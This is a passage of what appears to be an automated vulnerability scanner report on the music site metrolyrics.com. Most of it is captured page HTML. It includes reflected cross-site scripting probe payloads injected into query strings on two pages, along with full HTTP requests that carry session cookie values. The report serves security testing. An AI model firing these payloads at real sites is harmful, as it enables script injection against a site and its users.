if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460917?"></script>
<div id="header">
<h1>Carl Barat says Libertines won't perform at Glastonbury</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460917?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/maf.gif" alt="Carl Barat" width="166" />
<h2><a href="carl-barat-overview.html" title="Carl Barat Overview">Carl Barat</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=1298501804" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/carl-barat/1298501804/0">
<li><a title="Carl Barat Overview" href="/carl-barat-overview.html" >Overview</a></li>
<li><a title="Carl Barat News" href="/carl-barat-gossip-news.html" >News</a></li>
<li><a title="Carl Barat Awards" href="/carl-barat-awards-featured.html" >Awards</a></li>
<li><a title="Carl Barat Albums" href="/carl-barat-albums-list.html" >Albums</a></li>
<li><a title="Carl Barat Lyrics" href="/carl-barat-lyrics.html" >Lyrics</a></li>
<li><a title="Carl Barat Videos" href="/carl-barat-music-videos.html" >Videos</a></li>
<li><a title="Carl Barat Pictures" href="/carl-barat-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460917?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />..
- /top-artists.html
/top-artists.html
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x00021F)</script>
|
Request
GET /top-artists.html?'"--></style></script><script>netsparker(0x00021F)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 25385
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:14:37 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="contact us" />
<meta name="keywords" content="lyrics" />
<meta property="fb:page_id" content="81914997331" />
<title>Top Artists</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"artists","section":false,"sectionURL":false,"title":"Battle of the Artists"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist-main.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/Artist_BOA/Artist_BOA_top_1x1;tile=1;genre=;sz=1x1;ord=1299460477?"></script>
<div id="header">
<h1>Top Artists</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/Artist_BOA/Artist_BOA_top_728x90;tile=2;genre=;sz=728x90;ord=1299460477?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<h2>Music Genres</h2>
<ul>
<li><a title="Top Artists" href="top-artists.html" class="on">Top Artists</a></li>
<li><a title="Pop Artists" href="top-artists-pop.html" >Pop</a></li>
<li><a title="Rock Artists" href="top-artists-rock.html" >Rock</a></li>
<li><a title="Hip Hop Artists" href="top-artists-hiphop.html" >Hip Hop</a></li>
<li><a title="Country Artists" href="top-artists-country.html" >Country</a></li>
<li><a title="R&B Artists" href="top-artists-rb.html" >R&B</a></li>
</ul>
</div>
<div id="alphabetLeft">
<h2>Browse Alphabetically</h2>
<ul>
<li><a href="artists-a.html">A</a></li>
<li><a href="artists-b.html">B</a></li>
<li><a href="artists-c.html">C</a></li>
<li><a href="artists-d.html">D</a></li>
<li><a href="artists-e.html">E</a></li>
<li><a href="artists-f.html">F</a></li>
<li><a href="artists-g.html">G</a></li>
<li><a href="artists-h.html">H</a></li>
<li><a href="artists-i.html">I</a></li>
<li><a href="artists-j.html">J</a></li>
<li><a href="artists-k.html">K</a></li>
<li><a href="artists-l.html">L</a></li>
<li><a href="artists-m.html">M</a></li>
<li><a href="artists-n.html">N</a></li>
<li><a href="artists-o.html">O</a></li>
<li><a href="artists-p.html">P</a></li>
<li><a href="artists-q.html">Q</a></li>
<li><a href="artists-r.html">R</a></li>
<li><a href="artists-s.html">S</a></li>
<li><a href="artists-t.html">T</a></li>
<li><a href="arti..
- /top-artists-pop.html
/top-artists-pop.html
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x00074F)</script>
|
Request
GET /top-artists-pop.html?'"--></style></script><script>netsparker(0x00074F)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/top-artists.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 30109
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:16:44 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="contact us" />
<meta name="keywords" content="lyrics" />
<meta property="fb:page_id" content="81914997331" />
<title>Top Artists</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"artists","section":false,"sectionURL":false,"title":"Battle of the Artists"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist-main.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/Artist_BOA/Artist_BOA_top_1x1;tile=1;genre=pop;sz=1x1;ord=1299460603?"></script>
<div id="header">
<h1>Top Artists</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
